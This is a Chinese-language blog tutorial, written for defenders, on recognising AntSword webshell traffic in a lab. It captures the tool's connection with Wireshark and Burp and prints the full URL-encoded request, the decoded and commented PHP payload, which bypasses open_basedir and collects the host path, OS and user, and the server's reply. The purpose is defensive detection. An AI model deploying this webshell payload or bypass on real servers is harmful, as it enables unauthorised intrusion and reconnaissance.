流量分析——一、蚁剑流量特征

news2024/12/24 4:48:54

君衍.

  • 一、Webshell特征流量分析
  • 二、环境介绍
  • 三、使用Wireshark进行流量分析
    • 1、环境说明
    • 2、HTTP追踪流分析
    • 3、蚁剑请求体中代码块解读
  • 四、使用BurpSurite进行流量分析
    • 1、环境配置
    • 2、抓包分析
  • 六、总结

一、Webshell特征流量分析

对于重保、护网等攻防演练的防守方来说,流量分析的能力需要具备,所以本篇从webshell不同工具的不同特征进行分析来进行学习。
流量特征分析工具及对比:

  • wireshark:可以详细分析具体的数据包,比如从OSI七层、TCP四层每层协议等数据包都可以进行分析。
  • burpsurite:仅针对HTTP、HTTPS数据包进行抓包,分析,具备渗透测试部分功能,比如重放、编解码等等。

以及对于webshell利用的应急流程:从webshell是何时被部署的、又是通过什么漏洞打进来的、同时webshell的存放位置以及通过提取文件中的key密码为连接密码32位md5值得前16位作为AES得解密密钥,最后对流量进行解密以及还原所有流量进行回溯,这一流程需要明白。

二、环境介绍

首先,我使用的靶场是upload-labs靶场:
在这里插入图片描述
搭建在VMware上,使用的网络模式是NAT模式,网口自然是VMnet8:
在这里插入图片描述
在这里插入图片描述
之所以看以上内容是因为wireshark的抓包网卡需要进行更改:
在这里插入图片描述
之后我使用wireshark进行流量分析时,将抓取的网卡设置为net8即可。当然,如果靶场部署在云端,我们自然使用wlan的网卡进行抓取分析,需要根据实际情况而定。
当然,我们对蚁剑流量进行分析,自然需要下好蚁剑,安装好Burpsurite之后需要配置代理进行抓包查看。后面抓取的时候分析。
在这里插入图片描述
一句话木马木马已经写入php文件中,之后完成上传即可。

三、使用Wireshark进行流量分析

1、环境说明

已经将木马文件上传完毕,同时使用蚁剑添加了数据,测试连接成功。
在这里插入图片描述
我们打开wireshark进行抓包,之后蚁剑完成连接:
在这里插入图片描述
在这里插入图片描述
下面我们仔细分析这几个数据包:
在这里插入图片描述
可以看到1,4,5数据包为TCP的三次握手的数据包,10-13为TCP四次挥手的数据包。
同时数据报6为TCP在传输消息时,对于应用层可能出于超过MSS而导致不能一次包含全部应用层的PDU,将完整的消息分为了多段,所以会在除了最后一个分段,剩下都打上TCP segment of a reassembled PDU。

报文7与报文9则是HTTP的请求与响应包,中间则为TCP的确认机制ACK包。

当一个完整消息被分割成多个TCP segment 时,在能识别运行在TCP之上的应用层协议前提下,wireshark为了能标识出哪些TCP segment需要被重新组装(reassembled),从而将除了最后一个的其他segment都打上“TCP segment of a reassembled PDU”。

在这里插入图片描述
所以这里我们进行流量分析主要分析报文7请求包以及报文9相应包。

2、HTTP追踪流分析

我们这里直接查看TCP追踪流:
在这里插入图片描述
数据包内容如下:

POST /upload/upload/1.php HTTP/1.1
Host: 192.168.217.143
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 1797
Connection: close

zyan=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.0ac4da9ca%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22f9b9d%22.%22abb3d6%22%3Becho%20%40asenc(%24output)%3Becho%20%22c84a1%22.%225b471%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3BHTTP/1.1 200 OK
Date: Wed, 05 Jun 2024 14:06:51 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

9df9b9dabb3d6C:/phpstudy_pro/WWW/upload/upload	C:	Windows NT WINDOWS-7 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) AMD64	Administratorc84a15b4710

以上内容的解读:

  • POST /upload/upload/1.php HTTP/1.1: 通过 POST 方法发送到 /upload/upload/1.php 的请求。
  • Host: 192.168.217.143: 请求的主机地址为 192.168.217.143。
  • Accept-Encoding: gzip, deflate: 请求头中表明接受的编码方式。
  • User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2: 请求的用户代理是 Safari。
  • Content-Type: application/x-www-form-urlencoded: 表明请求体的内容类型是 URL 编码的表单数据。
  • Content-Length: 1797: 请求体的长度为 1797 字节。
  • Connection: close: 请求结束后立即关闭连接,不缓存。

接着中间这一长串则是经过URL编码过的PHP代码,解码之后如下:

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)){continue;};
        $tmdir=$item."/0ac4da9ca";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)){continue;}
        $tmdir=realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\\//",$tmdir);
        for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");}
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    };
};;
function asenc($out){return $out;};
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9b9d"."abb3d6";echo @asenc($output);echo "c84a1"."5b471";}
ob_start();
try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){foreach(range("C","Z")as$L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;
}catch(Exception $e){echo "ERROR://".$e->getMessage();}
asoutput();
die();
?>

(代码解读往下滑)
在这里插入图片描述
后面则是一段服务器的响应头以及响应体:

  • HTTP/1.1 200 OK: 服务器成功响应请求。
  • Date: Wed, 05 Jun 2024 14:06:51 GMT: 响应的日期时间。
  • Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02: 服务器信息。
  • X-Powered-By: PHP/7.3.4: 使用的 PHP 版本。
  • Connection: close: 连接关闭。
  • Transfer-Encoding: chunked: 响应体采用分块传输编码。
  • Content-Type: text/html; charset=UTF-8: 响应内容类型为 HTML。
  • 响应体则包含路径以及系统信息等内容。

其中我们还需观察到木马连接的密码则是zyan。

3、蚁剑请求体中代码块解读

这里我直接放入注释里面解读,因为从上面HTTP追踪流可以看到请求结果有路径,系统信息以及用户名称等内容。所以我们可以简单看下蚁剑的PHP代码:

<?php
// 禁止显示错误信息
@ini_set("display_errors", "0");
// 设置脚本执行时间不限制
@set_time_limit(0);

// 获取 PHP 配置中的 open_basedir 值
$opdir=@ini_get("open_basedir");
if($opdir) {
    // 获取当前脚本所在目录
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    // 使用 base64 解码后进行拆分
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    // 将当前目录和系统临时目录添加到数组中
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        // 如果目录不可写,则继续循环
        if(!@is_writable($item)){continue;};
        // 创建一个临时目录
        $tmdir=$item."/0ac4da9ca";
        @mkdir($tmdir);
        // 如果目录不存在,则继续循环
        if(!@file_exists($tmdir)){continue;}
        // 获取临时目录的绝对路径
        $tmdir=realpath($tmdir);
        // 进入临时目录
        @chdir($tmdir);
        // 修改 open_basedir 为上一级目录
        @ini_set("open_basedir", "..");
        // 将路径按斜杠分隔成数组
        $cntarr=@preg_split("/\\\\|\\//",$tmdir);
        // 循环返回上级目录,直到根目录
        for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");}
        // 恢复 open_basedir 为根目录
        @ini_set("open_basedir","/");
        // 删除临时目录
        @rmdir($tmdir);
        break;
    };
};

// 定义函数 asenc,无实际操作,直接返回输入
function asenc($out){return $out;};
// 定义函数 asoutput,将输出内容进行一些处理后输出
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9b9d"."abb3d6";echo @asenc($output);echo "c84a1"."5b471";}
// 开始输出缓冲区
ob_start();
try{
    // 获取当前脚本所在目录
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    // 如果为空,则获取当前路径的上一级目录
    if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    // 将当前目录信息存入变量 $R
    $R="{$D}	";
    // 如果路径不是绝对路径,则循环遍历 A 到 Z 盘符,获取可用盘符
    if(substr($D,0,1)!="/"){foreach(range("C","Z")as$L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}
    // 添加分隔符和系统信息
    $R.="	";
    // 获取当前用户信息
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    // 添加系统信息和当前用户信息到变量 $R
    $R.=php_uname();
    $R.="	{$s}";
    // 输出变量 $R
    echo $R;
}catch(Exception $e){
    // 如果出现异常,则输出错误信息
    echo "ERROR://".$e->getMessage();
}
// 输出经过处理的内容
asoutput();
// 结束脚本
die();
?>

四、使用BurpSurite进行流量分析

1、环境配置

这里依旧是将木马已经上传入虚拟机,我们可以直接使用蚁剑进行连接。但是Burp抓包我们需要在蚁剑上配置代理,所以首先需要配置代理,代理到Burp上。
在这里插入图片描述
我们可以看到Burp的监听端口是8080,下面在蚁剑上进行配置:
在这里插入图片描述
首先点击左上角AntSword,点击系统设置,然后找到代理设置更改为手动设置代理,接着将代理IP以及端口配置完毕即可。
在这里插入图片描述
即可配置成功。

2、抓包分析

接着我们打开BP拦截,使用蚁剑进行访问:
在这里插入图片描述
即可完成拦截,接着我们发送到重发器来进行查看:
在这里插入图片描述
将蚁剑请求包发送,观察响应包:
在这里插入图片描述
经过观察即可发现,与wireshark抓到的一致,同样是回显路径、系统信息以及用户名称。
在这里插入图片描述
具体流量分析过程以及解读见上面wireshark的HTTP追踪流解读即可。

六、总结

蚁剑的明显特征:(实战辨别还需网端结合进行甄别)

  • 1、使用URL编解码;
  • 2、每个数据包前面都会包含@ini_set("display_errors", "0");@set_time_limit(0);这两个语句;
  • 3、响应包都是明文。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1792689.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python03:python代码初体验2

1、变量命名规范 1&#xff09;字母&#xff08;Unicode字符&#xff09;、数字、下划线&#xff0c;不能使用特殊字符&#xff0c;数字不能开头 2&#xff09;变量名是区分大小写的&#xff08;大小写敏感&#xff0c;x和X是两个不同的变量名&#xff09; 3&#xff09;不能使…

D-Day 上海站回顾丨以科技赋能量化机构业务

5月31日下午&#xff0c;DolphinDB 携手光大证券&#xff0c;在上海成功举办 D-Day 行业交流会。三十余位来自私募机构的核心策略研发、量化交易员、数据分析专家们齐聚现场&#xff0c;深入交流量化投研交易过程中的经验、挑战及解决方案。 DolphinDB 赋能机构业务平台 来自光…

【一百】【算法分析与设计】N皇后问题常规解法+位运算解法

N皇后问题 链接&#xff1a;登录—专业IT笔试面试备考平台_牛客网 来源&#xff1a;牛客网 题目描述 给出一个nnn\times nnn的国际象棋棋盘&#xff0c;你需要在棋盘中摆放nnn个皇后&#xff0c;使得任意两个皇后之间不能互相攻击。具体来说&#xff0c;不能存在两个皇后位于同…

K8s Pod的QoS类

文章目录 OverviewPod的QoS分类Guaranteed1.如何将 Pod 设置为保证Guaranteed2. Kubernetes 调度器如何管理Guaranteed类的Pod Burstable1. 如何将 Pod 设置为Burstable2.b. Kubernetes 调度程序如何管理 Burstable Pod BestEffort1. 如何将 Pod 设置为 BestEffort2. Kubernete…

Docker 进入指定容器内部(以Mysql为例)

文章目录 一、启动容器二、查看容器是否启动三、进入容器内部 一、启动容器 这个就不多说了 直接docker run… 二、查看容器是否启动 查看正在运行的容器 docker ps查看所有的容器 docker ps -a结果如下图所示&#xff1a; 三、进入容器内部 通过CONTAINER ID进入到容器…

x86国产化麒麟系统上安装docker及问题解决

以前感觉安装docker没有问题&#xff0c;所以没有记录怎么安装的&#xff0c;最近在国产化系统上安装docker总是失败&#xff0c;经过仔细研究完全解决了该问题&#xff0c;特此记录。 参考链接&#xff1a; 在 OpenKylin 上安装 Docker 按照上面的链接可以知道整个docker安装…

足球俱乐部管理系统的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;管理员管理&#xff0c;教练管理&#xff0c;用户管理&#xff0c;合同信息管理&#xff0c;赛事管理 前台账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;公告信息&#xff0c;赛事…

在k8s中部署Kafka高可用集群超详细讲解

&#x1f407;明明跟你说过&#xff1a;个人主页 &#x1f3c5;个人专栏&#xff1a;《数据流专家&#xff1a;Kafka探索》&#x1f3c5; &#x1f516;行路有良友&#xff0c;便是天堂&#x1f516; 目录 一、引言 1、Kafka简介 2、为什么在Kubernetes中部署Kafka 二、…

Facebook的隐私保护挑战:用户数据安全的新时代

在全球范围内&#xff0c;Facebook已经成为了不可忽视的社交媒体巨头&#xff0c;它连接着超过20亿的活跃用户。然而&#xff0c;随着其影响力的不断扩大&#xff0c;关于用户隐私和数据安全的问题也愈加引人关注。本文将深入探讨Facebook面临的隐私保护挑战&#xff0c;以及它…

列存在 OceanBase 数据库架构中的应用与演进

OceanBase 4.3 版本上线了列存功能&#xff0c;以满足实时分析的需求。 本文作为《特性解读&#xff1a;列存技术》的后续&#xff0c;将详细阐述列存技术在OceanBase数据库架构中的应用、发展历程&#xff0c;以及未来的趋势。 一、前言 1970 年&#xff0c;关系模型之父 Co…

275 基于matlab的脉搏信号处理GUI界面编程

基于matlab的脉搏信号处理GUI界面编程&#xff0c;并实现滤波、去噪、实时回放、小波分析 计算脉率。采用低通滤波器&#xff0c;计算巴特沃斯数字滤波器的阶数N和截止频率Wn、使用coif4小波基计算信号的平稳小波分解完成降噪。程序已调通&#xff0c;可直接运行。 275 脉搏信号…

Ubuntu22.04之安装有道词典(二百三十六)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

SQL158 每类视频近一个月的转发量/率

描述 用户-视频互动表tb_user_video_log iduidvideo_idstart_timeend_timeif_followif_likeif_retweetcomment_id110120012021-10-01 10:00:002021-10-01 10:00:20011NULL210220012021-10-01 10:00:002021-10-01 10:00:15001NULL310320012021-10-01 11:00:502021-10-01 11:01…

【golang学习之旅】Go中的cron定时任务

系列文章 【golang学习之旅】报错&#xff1a;a declared but not used 【golang学习之旅】Go 的基本数据类型 【golang学习之旅】深入理解字符串string数据类型 【golang学习之旅】go mod tidy 【golang学习之旅】记录一次 panic case : reflect: reflect.Value.SetInt using…

微处理器体系结构

1.冯诺依曼结构 传统计算机采用冯●诺依曼(Von Neumann)结构&#xff0c;也称普林斯顿结构&#xff0c;是一种将程序指令存储器和数据存储器合并在一起的存储器结构。 特征&#xff1a; 冯●诺依曼结构的计算机程序和数据共用一个存储空间&#xff0c;程序指令存储地址和数据…

SAP IQ03 Error IW351

今天在系统内碰到一个情况是IQ03 无法显示设备对象 报错为&#xff1a;IW 351 Equipment object status errors BS001 IW351 查阅资料后&#xff0c;note 1835087 提供了解决办法 1.SE38-->RISTEQ03 2.输入设备号&#xff0c;测试执行&#xff0c;确认无误后&#xff0…

8990890

作者主页&#xff1a;作者主页 数据结构专栏&#xff1a;数据结构 创作时间 &#xff1a;2024年5月18日

基于百度接口的实时流式语音识别系统

目录 基于百度接口的实时流式语音识别系统 1. 简介 2. 需求分析 3. 系统架构 4. 模块设计 4.1 音频输入模块 4.2 WebSocket通信模块 4.3 音频处理模块 4.4 结果处理模块 5. 接口设计 5.1 WebSocket接口 5.2 音频输入接口 6. 流程图 程序说明文档 1. 安装依赖 2.…

重邮803计网概述

目录 一.计算机网络向用户提供的最重要的功能 二.互联网概述 1.网络的网络 2.计算机网络的概念 3. 互联网发展的三个阶段 4.制订互联网的正式标准要经过以下的四个阶段 5.互联网的组成&#xff08;功能&#xff09; 6.互联网功能 7.互联网的组成&#xff08;物理&#…

13_前端工程化_ES6

1.前端工程化概念 前端工程化是使用软件工程的方法来单独解决前端的开发流程中模块化、组件化、规范化、自动化的问题,其主要目的为了提高效率和降低成本。 前后端分离&#xff08;前端代码工程化独立出来形成一个单独的app&#xff09; 1.开发分离 2.部署分离 3.服务器分离…